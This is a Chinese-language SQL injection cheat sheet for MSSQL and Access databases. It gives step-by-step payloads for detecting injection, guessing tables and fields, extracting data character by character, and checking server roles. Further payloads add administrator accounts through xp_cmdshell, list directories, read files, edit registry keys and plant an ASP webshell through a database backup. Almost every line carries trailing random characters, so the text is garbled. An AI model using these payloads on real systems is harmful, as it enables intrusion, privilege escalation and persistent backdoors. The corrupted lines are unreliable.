1.判断是否有注入;and 1=1 ;and 1=2 7_.11$E=H
2.初步判断是否是mssql ;and user>0 'mH )d
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3.注入参数是字符'and [查询条件] and ''=' Xg=x7\V
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' %]gn?`O
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5.判断数据库系统 s:2|c]wQ#R
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;and (select count(*) from sysobjects)>0 mssql yC3yij<oR
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;and (select count(*) from msysobjects)>0 access 3I!?e!y3(
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 j:}J}P
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 qS/V"|G(
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G
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9.(1)猜字段的ascii值(access) ZxG}ViS4I
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5GA\xM-
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(2)猜字段的ascii值(mssql) [F_/2+e
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 c9\2YKo
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10.测试权限结构(mssql) op"$E1+
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;>%~9j1C
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;Og&FFs'
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >Jw6l0z
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 F2|
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o7TN,([W
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- iJv48#'ii
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;and 1=(select IS_MEMBER('db_owner'));-- y8s!M
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11.添加mssql和系统的帐户 E"%2)
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;exec master.dbo.sp_addlogin username;-- hKNY+S})g
;exec master.dbo.sp_password null,username,password;-- YC=S5;
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /({;0I*!i
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;exec master.dbo.xp_cmdshell 'net user username password `^(jm
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =H %-.m'f2
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2oZ9laJO
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ^*&X~8@)
=39 ?:VoD
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12.(1)遍历目录 2 $ !D* <
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;create table dirs(paths varchar(100), id int) K9[e>
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;insert dirs exec master.dbo.xp_dirtree 'c:\' b?Pj< tA
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;and (select top 1 paths from dirs)>0 sVoW=4V8
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) D6~+Y~R
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(2)遍历目录 K'1~^)*
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- lFUWV)J\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 [4+q+
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 VW@ x=m
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 }wwe}E-e
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 JR9$.fGJ
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13.mssql中的存储过程 td{O}\s7D
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xp_regenumvalues 注册表根键, 子键 | A:@&|
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .wK1El{bf
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xp_regread 根键,子键,键值名 [m'CR 4(|
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;exec xp_regread [U\(G
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d"~(T:=r
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xp_regwrite 根键,子键, 值名, 值类型, 值 E1Q0k5@
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kw,$NK'
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 #\4 b:dv
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xp_regdeletevalue 根键,子键,值名 uH\kQ9f
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 {SG>'KXZ
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 >_X/[<
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14.mssql的backup创建webshell Ulqh@CE)
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use model ujgLJ77
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create table cmd(str image); 9 1P4:6
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insert into cmd(str) values (''); `_ (~ Ud
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backup database model to disk='c:\l.asp'; VY'Q|[
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15.mssql内置函数 tSv0" L
+=cam/A
;and (select @@version)>0 获得Windows的版本号 _$/
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa X QbNH~
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;and (select user_name())>0 爆当前系统的连接用户 _zC (J
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;and (select db_name())>0 得到当前连接的数据库 ~!+h?[miV
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16.简洁的webshell m/USC'U%
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use model *,#q'!Hq
S2=%x.
create table cmd(str image); 0^_MN~s(X
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insert into cmd(str) values (''); PDw{R]V+
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backup database model to disk='g:\wwwtest\l.asp';